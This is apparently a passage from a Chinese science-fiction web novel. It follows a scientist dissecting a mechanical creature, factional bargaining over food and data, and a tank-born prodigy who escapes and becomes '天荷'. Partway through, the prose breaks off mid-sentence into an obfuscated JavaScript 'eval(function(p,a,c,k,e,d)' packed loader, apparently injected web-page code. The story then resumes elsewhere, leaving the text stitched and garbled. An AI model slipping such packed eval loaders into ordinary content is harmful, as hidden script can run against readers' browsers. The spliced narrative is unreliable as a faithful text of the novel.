队员将昏睡的红莲抬向居住舱的时候，率先让晴灯感兴趣的是拖车上的切掉上颚和四肢的机械生物，看起来像台正在运转的发动机。 晴灯出于20多年研究员的保密素养说道：“拉设警戒线。” 队员用贴布蒙住了附近居住舱的所有窗口，拉好方形警戒线并安排哨卡，身披毛领黑斗篷的健壮如狮子的黑家主也闻讯赶到了。 “我刚看红莲小队战报，听说你有意让她去博物馆都市吗？” 晴灯蹲着，全心全意观察这台神秘的自律型自我复制机器人。 “嗯，我要在这解体它，有懂电路的队员吗？去房间拉插座过来，要橙红色那根，还要四个有力气的队员帮忙，嗯，跟我提东西吧！” 众人在晴灯指挥下搬运设备，又听她指点着，切断较细的金属肋骨，胸腹部的黑色动力装置就掉了出来。 “你们举着这个。” 四人抬起硕大沉重的金属骨架，晴灯此时已经顾不得别人举的累不累，从黑色动力装置底部横切，滚烫的金属溶液从缝隙流着。 “喔！我得再穿身防化服。” 晴灯双臂伸入防化服袖子，披防化服在胸前再戴上头盔就开始操作了，等金属溶液流完就拿内窥镜查看内部结构。 “噢！这么简陋啊。” 她说完就纵切机械生物动力装置的外壳，最终，形状不规则的一体化的设备露了出来，造型近似倒置的摩托车马达。 “你举的动这个吗？把骨架放下来吧！使劲揪一下，能不能把舌头和食道拉出来！哎？” 晴灯又蹲下查看，马上跑回居住舱取来电磁隔离设备，才将动力设备与骨架分离了，此时她又细心察觉到这装置的震动变微弱了，于是抓着食道没入未凝固的金属溶液，震动又恢复了。 “你抓着这个别动等我！” 她跑回去取来热熔炉，一点点把能流的溶液抹进去，但机械生物的动力装置下面两个圆口又缓缓滴溶液。 “哦？这是胃吗？你跑回屋取那种银色的软管和胶布。” 晴灯把食道和胃用胶布缠好，把软管和食道插入热熔炉的金属溶液内，终于松了一口气。 “行了这样它就能一直活着，工具都给我堆进屋，你俩把这个动力装置搬进屋，队员们就可以撤了，别的不要了，都清理干净，哎？黑家主大人你说啥？” 晴灯发现人已经走了，就回到居住舱实验室内，她戴上多功能目镜后回想着，拆的时候发现结构及其简陋。 可这是机械生物啊！头呢？对！头就是个空壳，那智能芯片在哪？现在一看，只有金属加工器，就是下面这两个口，上面这个圆盘是动力源，这跟2000年前民用的自律型自我复制机器人的动力设计不是一样吗？那人家有头啊，有一大坨智能控制设备，它光有个动力为什么会有智能呢？ “这就好像发条人偶有了智能！” 晴灯的腿都蹲麻了，还是想不通。 “算了，让我干啥，我就干啥，人家天家主大人是要动力装置原理。” 装置上端的一体化圆盘形凸起不用拆，晴灯也能想的到，大概就是简陋的微核反应堆，大雪天，不用设计降温，就是有点小，怎么这么小呢？供能这么大躯体应该至少是个圆筒形才对！ “简陋！” 晴灯慌不择路的撞开衣柜抓起两件防辐射服，一边穿，一边猛锤红莲。 “哎呀！干嘛！” “要死……” 防辐射服头盔显示辐射值极低，她走到动力装置前反而变小了，走到供能全实验设备的电柜前，辐射值上升了些。 “哎？” 不能啊！啥动力啊怎么可能一点辐射都没有？她蹲下看看溶液还在交换，震动没变。 眼前的现象超出了她所有科学尝常识。 不！超出了夜星所有科学理论，她懵的坐在地上，不敢想，先是没有智能装置就智能，后是没有能量就有动力。 啊！灵能的呗，灵能会一来啥啥都是灵能驱动的呗！ 她赌气摸了一下那圆盘凸起。 好嘛！室温下一点热量都没有，偏偏有动力。 无解！ 她不干了，脱下穿一半的防辐射服，坐在工作台桌子上探手拿起芥末味的营养剂咗着。 “阿嚏！” 经管呛人，但是提神，她想了一会，又不干了，习惯性的摸着生长金属铁板。 机械生物动力装置的感觉和这块生长金属一样。 晴灯拿着铁板，走到动力装置上方，行为艺术般的摸摸空气，蹲下又摸摸圆盘凸起周围的空气，她反手挠脸的时候，铁板晃过了圆盘凸起的上方。 她边挠脸，边眨眼看，好像有些烟雾，来回晃铁板，烟雾更可见了些，黑色的。 这是种灰心丧气后，无聊的纯好奇心，晴灯随性的慢走去拿另三块铁板，蹲在圆盘凸起上方，把铁板围成一个中空方形。 在生长金属铁板围成的正方空间内立刻出现一滴黑色液体球，这液珠出现，就好像碰到不存在的平面，缓缓形成一个小圆，圆越来越大，最后填平了中空方形的底。 晴灯这么举着，不知道是久了胳膊酸，还是这黑色液体渐渐有了重量，她怕再发生什么危害安全的现象就挪开了，放在桌上，生长金属铁板散开，她看着这块新形成的黑色方板，锤锤肩膀又揉揉胳膊，拿起来颠颠，感觉很轻。 “你干什么呢？” 红莲换上松垮的白裙子边揉眼睛边问着。 “没什么，凭空造了块黑板子，这东西刚才还是液体来着，现在变这么硬，像是在耍我！” “哦，有吃的嘛？这家怎么突然干净了？” 红莲问完就看见床边放了一排五颜六色的营养剂，闻闻睡裙好像是新洗过。 “你朋友夜兰来过，我给她做了治疗提箱，你过来，咱俩研究研究这东西！这东西太气人了。” “哦！” 红莲喝营养剂，看晴灯不知道从哪拿出来一把手枪对着黑板子要射击。 “你居然还有这东西！又打的满房间跳弹吓人！” 晴灯从工作台侧抽出来一面防爆盾，红莲赶紧躲在盾后。 砰！ 晴灯射击完拿起黑板。 “看来是生长金属生的孩子，一模一样，物理免疫，你使那个什么剑技砍一刀试试！” 红莲叼着食物，揉胳膊再摇头示意拒绝。 晴灯拿起天家主发给她的灵能科技极光束焊枪，刚才人们就是用这个切断机械生物骨骼，焊枪对着黑板烧了很久。 “警告，能量耗尽。” 她把焊枪摔进抽屉锁上，叉着腰，看黑板。 “这东西比生长金属还耐用吗！” 红莲拿起来摸着说：“好像有个小坑，黑板的体积比刚才变小了些，嗯，颠颠，嗯，重量也在变小，这东西？嗯？不反光啊！灯下一点都照不出我的脸。” 晴灯抢过来黑板子，把多功能目镜灯光照度调最大，黑板仍然全黑，她挠挠头。 “绝对黑体，宇宙中不可能出现的物质，其实！” 她坐下也吃营养剂。 “其实现在能交差了，动力就是这玩意，天家主派人来就给她做一块完事。” “噢。” “但我不想交差，我不搞明白好难受！我想搞明白这东西！反正现在有天家大后盾，要啥给啥！我们不如利用这个计划搞自己的事情！” “噗！哈哈哈。” 红莲喝呛了，笑的前仰后合。 “你敢吗？我感觉你这辈子都没干过啥出格的事情。” 晴灯举举生长金属铁板说：“这我偷的！哎就这么办，我们单方面继续这个计划！” 红莲微笑着回答：“是你自己想干的事情，我就帮你。” “黑板内部啥都没有，能量，空间，时间都没有！绝对的无！所以才是绝对黑体。我理理这东西的物理现象顺序，这黑色方板？和生长金属很像，是某种能量泡泡，也得有能量发送者，他们凭意识制造了机械生物。我们能看到这块东西，是观测者。但这黑板逐渐消失，说明我们没有控制权，它刚才还是液体，说明可编程，我得在这液体里造个意识，作为观测者的意识，取得对绝对黑体的控制权。” 晴灯感觉自己即将成为永载史册的伟大科学家！ “需要更大些！这只三倍大的活体机械生物！用现在的这只太慢了。还需要西大陆的细胞编程器，听说过岸防连城最西端有血肉进化的旧设施，南极先进治疗椅技术能帮我解读细胞编码！不能联北极在线AI信息库了，要有南极孕育罐的离线数据包，最后意识是怎么诞生的呢？可能我还需要一点点运气。” 红莲听到了非比寻常的作战，也第一次见到晴灯为自己做事。 “我帮你搞定北极的东西！人类最伟大的科学家晴灯博士不给这物质冠名吗？” 她知道晴灯最在乎署名，这人一生做研究，却没获得过一次署名权。 “喔！对对对！我想想！嗯！就就叫！无空间！哦，听不明白！绝对黑体！这个好！一听就明白了！” 晴灯些恐惧，第一次主动研究就发现前人从未涉足的神秘力量。 “还是不叫这个了，莲，这东西的力量很危险，用的不好，我可能是人类的罪人，对！物质，叫0元素吧，别人就听不明白了，你我不说，别人很难凑足这么多巧合发现它的奥秘。” 门铃响了。 红莲掰着刚有秘密就惊恐的晴灯，推她到平时工作的桌前坐着，自己到洗衣机处换上新内衣，再穿上士官队服，拿着手套，用腋下夹住帽子，开启气闸门就往外走。 “你要出门吗？” 来客是天家主的随从——元。 “你怎么还用敲门？我记得你能任意传送啊。” 元跟着红莲，随口说道：“上次是在灵能友谊塔信号范围传送的意识投影，天家主大人让我亲来自督察一下，市民行清除机械生物的工作进度，好巧不巧路上撞见了贝家主！唉，倒霉透了！她出门你知道，行宫堡垒上百人车队，围住我不让走，问东问西！不知道从哪听说你了！不知道我说错什么没！倒霉透了！对了，你们研究机械生物动力的行动有进展吗？” 红莲拉她一步，两人逐渐走进居住区边缘的雪原。 “损失很大，活捉了一只，晴灯研究发现动力装置有西大陆血肉进化技术的痕迹，需要两次更危险的行动，岸防连城队员已经很反感了，我沟通过，说天家的市民争抢食物，队员们饿肚子不能出勤，我一个人搞不下去了。” “是啊，我刚才要求参谋部的黑白推进工作进度，就以食物短缺为借口，怎么办呢？这事情我向天家主大人上报过了！” 元的齐刘海短发下一脸愁容，白底金边的修身西装让她像一位值得同情的美少年。 红莲：“我跟她说吧，导演得搭好舞台，我这小丑才能给她表演下去。” 元是随从身份，所以特别在意地位和立场，她点按好语音通话，迟迟没有拨通。 “红莲，请你客气些，你还要主动向天家主大人说明自己的工作。” “喂？元？什么事？” “我和红莲的工作遇到相同的困难，红莲想跟您通话说明。” “我是滑稽小丑红莲。” “别这么说，红莲，上次的争论，那时跟你开个玩笑，你们……怎么了？” 短短的沉默中有许多怀疑，红莲明白天家主，就是这样的人。 “我的行动给岸防连城造成一点损失，活捉了一只机械生物，晴灯发现是西大陆科技的产物，叫什么细胞编程器？用那个造的机械生物！需要再抓一只大的，还要去西端的血肉进化设施取这个设备研究，理想结果可以完全破解并控制这种机械。” “原来是这样，海神的新子民吗？连机械的力量都要夺走……嗯……遇到什么困难了呢？” “黑家主大……很配合，但底下的队员以饿肚子为理由拒绝。” “……” 通话对面沉默用了3分钟，对红莲来说是难熬的3分钟，她明白自己因为一个松懈又变小丑了。 “你要多少份？” 这话直接戳穿了红莲的戏码。 “140万份。” “那你和晴灯先来博物馆都市吧，看看我有没有140万份食物。” “好！天天被骂走狗，我俩一天都不想待了。” “谁说的？” “你知道。” “5万份。” “70万份。” 红莲明白自己没资格和她讨价还价，长久的沉默后。 “元，你遇到了什么困难？” “天家主大人，参谋部的黑白以食物短缺为借口拖延着进度，我担心，饿死的结果会……” “10万份，红莲！” “在呢。” “你满意吗？” “我知道您对我有知遇之恩，可是其他人就不顾了吗？那是您的市民！” “红莲你知道就好，我？怎么说呢，很想再和你聊天，有些话？我？没兴致瞒你，你一直是我最感兴趣的人，我的处境，并不像人们认为的，是夜星之主。今天话就说到这，元，这件事呢，还是交给你办，红莲，我期待与你相见。” 不管怎样，这次对红莲来说都是一次微小的胜利，荣誉这件物品，天家主从来不给任何人，红莲也不屑于沉迷荣誉，她想和元师傅击掌庆祝，却被那最初的沉默隔断，只能按捺住胜利的喜悦，两人互相点头行礼就再无言语，分别了。 进入岸防连城中央广场的队员，发现了这里开始有衣着各种色彩的市民，她们有些人带来了不一样的欢声笑语，开朗的队员会与之交流，但大多数市民和队员被某种力量分隔开，人们注意到一个情绪放松的与众不同的黑色长发少女士官穿过广场尽头的哨卡，看她漫步在宽广的中央大道里，渐行渐远。 “这不是红莲大人吗？记得我吗？” “记得，我正要去监狱区。” “嗨！” 这位士官拍拍自己肩膀再拉队服，她看红莲还是那副几年没吃饭的身体，但没流露锐气，而是满脸喜悦，像赶往晚宴的少女。 “红莲大人，现在没有监狱区了！不过我安排您朋友睡在我那台岸防机甲里，哈哈！那台其实是个摆设，我刚从参谋部出来，全体士官都对您的作战过程赞不决口！太厉害了！参谋部各种消息满天飞。” “黑云你晋升了吗？有什么消息呢？对了，黑家主在指挥部吗？” 士官听她直呼黑家主，感到好奇。 “在！刚才我还看到大人呢，听卫队说是去找您了呀！” 她看红莲没有说话，只是对她笑了一下，两人就继续走着。 “噢，以前的队长级都晋升了，不过我几乎没有战斗经验啊，指挥24人的队伍，又听说队员都是外行，红莲大人您也没经验，有什么诀窍传授给我吗？” “噗哈哈！” “您别笑啊？” 红莲停步歪头打量她。 “你和每个人都聊聊天吧，你很有沟通的才能呢，战斗嘛，8台站两排交错炮位移动，遇敌就停住一直开炮把炮弹打光然后回家。” “哦？？？这不算摸鱼吗？” 她见红莲又不说话，就想聊点别的。 “黑白大人昨天心情很不好，听说四城区出个什么贼，哎哎现在大家都省着吃，病人大多去了前线，少数行动不便的结伴走了。唉，太难了，不过刚才听参谋部欢呼说天家增加了10万人份食物，啊还是黑白大人厉害，硬要来10万人份，喔，不知道何时再与您相遇，我还有任务，先走了。” 士官送红莲到监狱区附近就跑步离开了，她大概不想面对曾经负责的区域变成今天这副空旷样子，失去集装箱体遮蔽的海岸边被大风呼啸穿透，散落吹飞的风向标是这里曾经生活过的人们最后的声音。 红莲站在岸堤上寻找，没发现那士官所说的机甲，回头就能看到石材指挥部大厅侧围墙，是生长金属拟态成石材与山体的高耸悬崖，顶部有密集防空系统，阴影中的侧围墙漆黑无比，但风力会被围墙挡住不少。 红莲看着这位大体形的女子用屁股支在铁箱上，蹲着拿铁棍，在薄冰上画画。 “机甲被拖走了，我在这蹲会儿。” “你在画什么？” “画你啊，可这两个肉球挤着胳膊不好拿笔，黑白大人也不喜欢它，做衣服量了很久呢，我平时很喜欢画画，给病人都画过冰画，有些画拿进屋，没跑到她们面前就化掉了。” “我长这样吗？比我好看多了，我对自己的外貌不太满意，夜兰不笑时很可爱。” “呐？我笑的真的有那么可怕嘛？” “嗯。。。你眼中总有种恐惧感，像是被恐惧穿透了。” “喔，我一直梦到，最近不梦了。但感觉以后又要梦到了。” “我们会活下去，谁也不能阻止我前进。” 夜兰丢下铁棍，站起来，后退一步。 “我想和你在一起，不管去哪，会怎么样都无所谓。” 红莲想象了一下夜兰的想法，叹息着微笑。 “不是你想的那样，听我说！夜兰，北极完了，不是今天完的，可能一千年前就完了。我在当某人的提线木偶，她容不下自己以外任何人，我也想逃走，我想请你帮我！到南极建立属于我们的小天地。” “可我不想和你分开。” 夜兰边哭边摇头。 “你觉得我是你的希望！我觉得你是我的希望！你听明白了吗？我也想有个盼头。” 她看红莲摘帽低头，让黑发盖满脸部，又抬头望向南方。 “我去等你。” “好！没关系的，我很强大啊，你看你哭什么，我们是笼中鸟，你能先飞出去，我们应该高兴起来，你等我联系一下黑家主。” 红莲不想困境感再流露给夜兰，她希望这个同病相怜的女生能安心的离开这。 “红莲，我这会儿很忙，不过有些话想找你谈谈。” “黑家主大人，我大概猜到你要说什么，那人不放我，我有个朋友，我想让她当机械生物动力计划的特使，她是监狱区的病人，叫夜兰。” “可以，你等一下。我问了，病人的身份信息都删档了，反正是特使，不用填太全，叫夜兰是吧，什么发色，多高，年龄。” “黑发，1米89，16，不过她看着大，嗯，写18吧，现在就安排船只。” “可以，让她到工厂区码头边说名字，红莲你欠我人情，我想用你一阵，天家主那边我去说，我们不能像她那样只为自己考虑，我觉得你不是那样的人。” 无法自己决定的事情，也就无法自己的答应，红莲挂断了通信，夜兰提上手提箱，走到红莲面前吻了她头发，就孤独的前往工厂区了。 概率的慈悲 更换特使还需要远在博物馆都市中心内办公的天家主同意，她很少亲自处理公事，公事都交给在线AI系统处理，只有她本人标注过的事务会发送到办公桌面的屏幕上。 元端站在这位娇丽动人的女性身旁，帮她化妆。 纯白长发被元用微波卷发机精心打理成白菜式样卷发，细眉和睫毛被元认真轻染成得体的金色，为晶莹诱人的眼睛和稚嫩的卧蚕平添了贵气，精致的鼻型和朱红润口是她与生俱来的丽质，无比轻柔顺滑的泡泡袖衬衫，加上的贴身马裤不仅使她自己体感轻便，还让别人被她这最具曲线美感的身材深深的吸引住。 如果对方被天家主的外貌迷住，献出信任与爱慕，根本想象不到她会行恶，那她要的就是这个效果，她从来不吝啬一丁点私人空间，用在她认定的目的上，这人是如此的知行合一，犹如轻松游弋在世俗泥海的鲤鱼精。 元耐心听她讲着，在雷达漆黑一片的南极发现了新乐子，这时办公桌面叮的一声出现消息画面，天家主看到黑家主发来夜兰的身份名片上有特使标签，就很不耐烦的盖上天家主特使标签，继续看她最近发现的乐子。 忠诚的元细心的提问。 “不需要贝家主大人同意吗？” “不用，南北极都不把她算个人物，黄金贩子守好她祖祖辈辈当宝的那座山就行了，她不敢把你怎么样！以后遇到……等我忙完正事再收拾她几遍！哎？你看南极出现的这新玩意儿太有意思了，怎么接入在线AI系统信息库的呢？评分6的知识都下载完了，评分7的下载速度加快很多，什么东西这么有趣！” （注释：信息库是指当前人类已知所有信息的数字化仓库，北极的信息库位于天家主脚下的在线AI系统中，无线网发射器安装在灵能飞艇上，所以称为在线。南极的信息库位于首都风花白夜宫王宫殿内，出于保密考量，所有电子设备都用有线网或者移动存储工具交换信息库的内容，因此称为离线。信息库兼顾孕育罐需要的知识库，只有北极博物馆都市提供最新的7分知识库下载服务。） 当天家主看到南极某个接入者将评分7的知识库下载到25%进度时，关闭了所有下载服务，这会造成博物馆都市的市民无法查阅7分信息库，天家主如果坐视下载完成就会失去与接入者交易的筹码，所以她决定承受一点代价，逼迫这个接入者联系自己。 一个人类的意识在孕育罐中自发清醒，这本就是罕见的事情。 而这位个体6岁时，意识就在罐中完全清醒了，涌入大脑的知识有严格分类，又彼此相连，过程很像神经病人的混乱意识，所以清醒的她本应很难保持理性，却意外的持续强化了她天性中的冷静，塑造成为极端理性的特殊个体。 发明并改进孕育罐的几百代科学家希望创造出承载人类所有已知信息并灵活运用的个体，这个希望在这名罐内清醒的新生儿身上实现了。 她没有对自己身体的控制权，至少要熬6年才能出来。但罐内的她不知道这个信息，6年是189216000秒，她在这时间里像一位从工业时代横跨机械太空时代的科学家兼工程师，创造着能使她离开罐内的应用学。 命运总是对不幸的人开恶劣的玩笑，她在罐中一直用心跳默默计数，在临近12岁分析并确认了自己即将离开罐内，这信息也让她终于可以为自己从痛苦中解脱而欢呼，当日期超过12岁的一刹那，她没有停顿，马上继续利用机械太空时代的黑客技术逆向运算破解孕育罐的控制权，孕育罐没必要对罐内新生儿设置防火墙等信息安全程序。 又过了两年，南极冰雪女王驾崩后，灵能会占据的赛博空港和家园堡相继对南极人类关闭了，驱逐了在这两座城市的市民和所属机构，其中包括了孕育罐基地，此后南极马上爆发了风千阳三家的武力对峙。 两位护士长出于躲避战乱的考量，向驻扎在海岸太空工业区的灵能会所属机械兵团团长咖啡乞求，收容这两批孕育罐，咖啡同意罐子安置到海岸东角的物资仓库，但人员不得进入灵能会管辖范围。 身在罐中的特殊个体，感受到未知原因引发罐体晃动，还读取到罐体定位装置显示罐相对夜星地磁场坐标发生位移，推测出行进路线目的地是南极海岸东角。 她随几百个安置在海岸东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这个临时增加的食物运输工作不够常规又很急促，正常来说确认书要上报到在线AI系统处理，但食物生产部门的工作人员一直收不到提交信息成功的提示，导致人员用自己私人的信息板回执确认书。 天家主端着这块老式信息板操作了一会，发现没什么异常，她打开摄像头选择录像模式，在开启键上迟疑着。 信息板的语音指令助手突然发声：“说你的要求。” 天家主装作没听见一样，随手晃了一下板子，另一只手自然的捋了一下头发。 她在这刻意制造的短促过程中，考虑完三点，1不能按习惯打压对手了。2对手以什么入口接入，是机械兵团的母巢最好。3自己必须交易到接入机械兵团母巢的方法。 “您好，遥远的访问者，我想和你通话，所以关闭了下载。” 她说完用自己绝世美人的面容做出自然的最具亲和力的微笑，她虽然不能确定接入者能否看见，但她必须尽一切方法加码，言语还要确认7分知识库能否当交易筹码。 “我要北极的知识库，说你的要求。” 天家主听到北极知识库就眉头一紧，这要求包含了8分的天狼星科学，自己没有能力提供，不说明可能会导致交易失败。 “你下载完了6分知识库，这是偷窃，我首先得知道你从哪个门进来偷的，防范以后再有盗窃行为，就能也原谅你了，我再说需要你做点什么。” 她筹码太少，必须白得一些情报，还要试图让接入者按她的规则行事。 对方却先说：“据我所知，很多人被灌输过6分知识库，这东西并不稀有。不过我可以告诉你，我是从机械军团母巢接入的，还没被发现。” 这句话后面两句让天家主太激动了，一是确认到是自己需要的东西，二是时间紧迫。 “我好奇你为什么要下载北极知识库呢？你是遇到什么麻烦了吗？我是夜星之主，或许可以帮你，如果你是南极委派盗取知识库的科研人员，我可以为你提供庇护和丰厚的奖励。” 接入者沉默了三秒后发声。 “我对别人的争斗不敢兴趣，只醉心于自己的研究项目，需要北极的知识库。” “如果你能真实的分享接入机械兵团母巢，啊不，是私下联通南北极数据的方法，我也能私下授权让你继续下载7分知识库，8分的内容由天狼星人管辖，而我只是个人类，我很想指点同为人类的你如何在乱世中出人头地。” “我编辑好了突破机械兵团母巢安全程序的技术教程，只含信息传输权，因为这部分原本就对人类开放，还有利用灵能会指挥所冗余数据带宽接入在线AI系统的方法，这传输过程被灵能会双向加密，必须不断破解秘钥，你开放下载！我发给你教程，再把联通南北极方法拆分和最新秘钥打包在下载过程中不断发送给你，下载完成后，我把破解秘钥的逻辑规律发给你，是我希望你继续提供协助的礼物。” “可是我以后没有破解秘钥的逻辑规律就没发用啊？” “你们北极这么大，连统计秘钥总结规律的能力都没有吗？而且你言外之意是要在下载过程中毁约吗！” 天家主当然知道自己的团队有能力总结破解秘钥的规律，她只是假装无知，最后用一点小伎俩看看是否能逼对方多拿筹码，对方却立刻反击，让她主动性完全丧失，她想说点什么还击，可对方想好了交易流程，这流程完全令双方满意。 天家主后仰上身解开了波浪领口的两纽扣放松，看腿上的茶杯已凉就对发呆的元瞪了一眼，元赶紧拿走茶杯，一想到摄像头有可能看到她的诱人姿态，就假意捂住胸口。 “不好意思，我忘记你可以看到这边。” “我看不到，我很忙，忙别的去了。” “你等等！” 天家主皱眉后放下信息板，想清楚自己有随时中断下载的主动权，就点开启了下载通道，看着7分知识库被缓慢下载，她用靴跟点地，跳到地上，从大腿侧揉抚到臀腰，再掐腰转身放松，元熟悉这套是她在寝宫里沐浴前的放松动作，就马上跟到天家主面前为她解开顺滑丝质的泡泡袖衬衫，要用手轻托她白色长发末端的发卷，快步绕到身后解开内衣并接住，再拉动她后腰的拉链头，拉链头自动下滑，连靴长裤像有意识般的变膨胀松垮，等天家主探脚迈出长裤的时候，元避讳看她优美曲线的身体，放好了轻便合脚的拖鞋。 当天家主走向办公室地面升上的洗澡圆台时，元点按墙壁隐藏开关，拉出一套崭新的天家主日常服饰，再把旧服装挂好推入墙壁。 天家主洗完澡后来不及等待干就快步走回办公桌位置，看到下载进度居然到55%了。 “不愧是天狼星技术的带宽。” 她说完点按桌面，赶紧把发来的教程转发给在线AI验证，把秘钥数据包与破译技术课题组建立同步传输。 “元。” “在。” “录我这句语音：咖啡。” “录了。” “你按这人发来的方法搭建传输通道，把语音按天家秘钥加密，尝试发给机械兵团。” “遵命。” “你叫什么名字啊？神秘人。” 位于南极罐内的她想回避看天家主的曼妙身段，又怕漏掉什么细节。 “不好意思哦，噢，我没有名字。” “不愿意透露姓名的人士？那我给你起个代号吧！我听说南极人把荷花当幸运之花，就叫天荷怎么样？” “天荷？” “嗯，天是我的姓氏，夜星最出色的家族，我们以后怎么联络呢？” “您似乎熟悉机械兵团，就通过它们联络，不过？” “什么？” “我用语言学反复解读天狼星信息，由于加密信息的词汇量太少，我只解读出一个词。” 天家主挺胸仰头喝下一口冰爽解渴的奶制饮料，擦着头发等待着这个词到来。 “战争。” 这个词引导她想了很多事情，再低头看下载进度已经100%。 “喂？” 语音通信断开了，天家主急忙点开收到的最后一个数据包，里面的逻辑模型以数字公式，文字表述，图表三种不同形式编写，是极为详尽明确的秘钥破解教程。 她一方面对这位神秘接入者守信感到欣慰，一方面后怕自己没预料到传输过程如此迅速，她以自己的科学常识推测出这个人极有可能同步解读并应用着7分知识库的内容，以人类的脑速，可以做到这种事情吗？这人可能利用孕育罐的知识灌输功能加速了大脑活动。 天家主忧心忡忡的走到办公室落地窗墙前看向南极，她突然明白自己知晓了南极继冰雪女王之后又出现一个绝顶聪慧的奇才，再想起自己不久签署过派往南极的特使，她不禁感慨自语。 “冰雪融化了，第二代英才要搅动时局了吗。” 天荷发送秘钥的过程中，就造好了开启孕育罐壁的程序。 机械兵团母巢发往北极的情报中，包括了南极三家武力对峙的兵力布防图，天荷认为自己将要面对的世界是以战争为主，就先下载夜星所有军事著作和相关资料，覆盖了脑中大部分科学知识和信息技术应用学，完成后制作战争模拟程序，独创了全新的军事应用学。 罐壁终于旋转开启，淡绿色浑浊液体倾泻而出，她艰难的拔掉身体上的全部插线，就跌倒在罐底，冷空气和白色长发丝包覆了她纤瘦又惨白的身体，罐内的温暖令她怀念，她缓缓抬头，尽力看清这个机器妈妈。 视野过分朦胧，她明白了自己在罐中只做过一个错误决定，就是睁眼看看这个世界，罐内液体无人维护早已污染，她的视力受损了。 身体受冷的颤抖与痉挛迫使她咳嗽不止，一口口红色营养剂涌满口腔后流淌着，她在罐底等待身体适应环境。 “警告！家园堡号孕育罐基地——海岸东角临时仓储管理程序检测到编号21079号孕育罐内压不足，为保持剩余罐体电压稳定终止该罐电力供应。” 噔的一声，暖风和指示灯同时熄灭了。 她爬在罐外壁上，脚轻轻点一下地面，触感冰凉。 她用模糊的视线环顾四周，黑色塑料制造的罐体群的指示灯和罐壁发着绿光，最外两圈罐体已经全黑了，说明很多罐子被系统切断了电力。 她踩到一根粗大的软管就看过去，发现罐体都连接着一个银白色的巨大圆桶，上面还有一个透明的内有少量红色液体的圆桶，她就爬过摸着银色桶壁，是温的。 是纯净水？ 她踉跄着走到角落里还在正常运转的孕育罐开启操作台，巨大的内压使罐壁嘭的一声炸碎，她拣起一块碎片，割开这罐子后的粗大软管，舔了一点喷涌的液体，确认了是纯净水，她用温暖的热水冲洗完身体，揪着热水管向墙下的物资箱走去。 这里依次码放了三种物资箱，肢体箱，外甲箱和织物箱。 机器人还用穿衣服吗？ 她想这是出罐以来的第一个幸运事件。 开启气动箱盖后，展现出厚厚三叠衣物，展开衣服看像仆人穿的围裙，她把大量围裙用丝带捆成一个可以穿的连身衣服，就钻进去套上，再开启一个标注有头颅的肢体箱，里面摆放着5个机器头颅，她小心翼翼的拧下两个镜头，用线束捆成一个简易眼镜戴上。 她恢复了体温和视力，就不停开启物资箱，制造了一套有动力和暖风的金属骨骼，再细致裁剪围裙缝成一身衣服，穿上衣服和金属骨骼，披上机械人偶的外甲，她对着孕育罐壁照自己的身影，目测自己比机械人偶大了一圈，头发也太长了，她割剪着头发，发现两条发束盘绕在衣内，就这样吧，想了想又在外套了一个围裙。 这样看着自然一点。 她切开管子灌装了几瓶营养剂和水，摘下曾经孕育她的罐子的知识灌输装置拆开做成简易的信息解码器，输入了机械人偶的身份信息后挎在腰间，背上装满食物的物资箱，戴上做好的机械头壳。 她轻抚罐体，用最温柔的口吻自语。 “妈妈，我走了，我叫天荷，战无不胜，一切都是我的手下败将。” 6. 章6南极：三家内乱 追溯夜星生命起源要考究夜星地理，夜星的火山活动频繁，地质运动剧烈，气候多变，使得古生物种类的竞争异常残酷，生物为了适应环境，进化的极为凶恶好斗。地质运动还将祖大陆分裂成东西南北四块大陆，南大陆先民体质并不长寿，但身体各方面的素质都强过其他大陆人类十倍以上。古生物学家认为，这是人族为了能在远古生物的食物链中幸存下来，南大陆的先民是夜星人类的祖先，他们躲避强大的古生物一路南迁，并因祖大陆板块分裂被隔绝起来。 北极信息库记载南大陆先民是白发，这明显是错的，他们的头发严格的说应该是粉发，并且血统越纯越粉，每根头发中含有别的人种所退化的特殊神经，使他们在战斗中可以感知四周的物体，甚至是空气的流动。但也因此导致他们极少理发，初登南大陆的商会船只，戏称他们为粉毛猴子，这恶意来自东群岛商会殖民失败，粉发先民的体能足以战胜火枪火炮，给商会造成了大量人员伤亡和财产损失。 到了工业时代，先进的武器逐渐的制衡了南大陆先民的体能，全球只剩南大陆的资源还没有被开发，东群岛与西大陆的舰队向南大陆的先民施压，部落酋长们放弃了海岸封锁，先民逐渐与各人种通婚，发色逐渐变浅，最顽固的风之部落迁往了雪原深处，寻找与世隔绝的家园。 冰雪女王执政时期，风之部落已经没有纯粉发色的族人了，远远落后于北极的科学技术导致南极又一次面临人力对抗科技的局面，女王把兼任行政工作的王政军团拆分出10万精锐组成首都近卫军，15万红发部队成立为阳家，余部组成千家，再参照北极三家贝黑天的黑家，与风之部落立约，成立了风家，在原有人口基础上，从全民中精选发色似粉的人加入，组成了一支5万人的战力极强的海岸军团。女王每年都会亲自前往风家驻防地，举行隆重的庆典，接一部分风之部落族人回访首都郊区的故乡纪念 20年前孕育罐基地开始出现不明原因的死胎，新生儿数量一度降为两位数，女王突然力排众议给阳千两家颁发自募兵力的许可，千家由于人种丰富，兵力一度接近30万，这造成南极几乎全民皆兵的局面。 如今女王驾崩，又是死在风家，最广泛的说法当然是风家杀死女王夺权，要统治南极。然而，风家独自抵挡南极的骚扰，兵力一直在损耗，所以也有少数人认为是其他两家嫁祸给风家。 气垫船在大海中央的人工岛附近冰面上完成短暂交接，缓缓驶往南极的路程中，夜兰在条形窗口张望，南极海岸线同幽蓝的冰海平面一样深不可测，分割夜与冰海的一线蓝光渐渐转变成白光，海岸线逐渐变粗，临近登岸看清了岸边被造冰机做的层层冰刺封锁，气垫船绕行到海岸西角码头，夜兰迈步踏上南极的第一眼就被面前雪山所震慑。 家山的山腰宽广磅礴，山腰雪坡中似有茂密的针叶林带，山顶平原中心建有一座浑身散发白光的庞大巨塔。 南极的部队都身穿厚重的防寒服驾驶机械外骨骼，一辆履带车急刹在夜兰等北极人员面前，车内跳出一位军官，她的殷红长发在灯影中被风力吹向东侧，脚落地后，高傲的昂头抖发戴上军官帽，她伸出左手探向夜兰。 “您好，我是前南极王权军团的军官——玛丽安团长，负责迎接北极特使。” 夜兰慌张的大跨步去握手就险些摔倒，幸好被玛丽安抱住。 “别紧张，哈哈，参谋拿两件防寒服，好冷，你冷吗？” 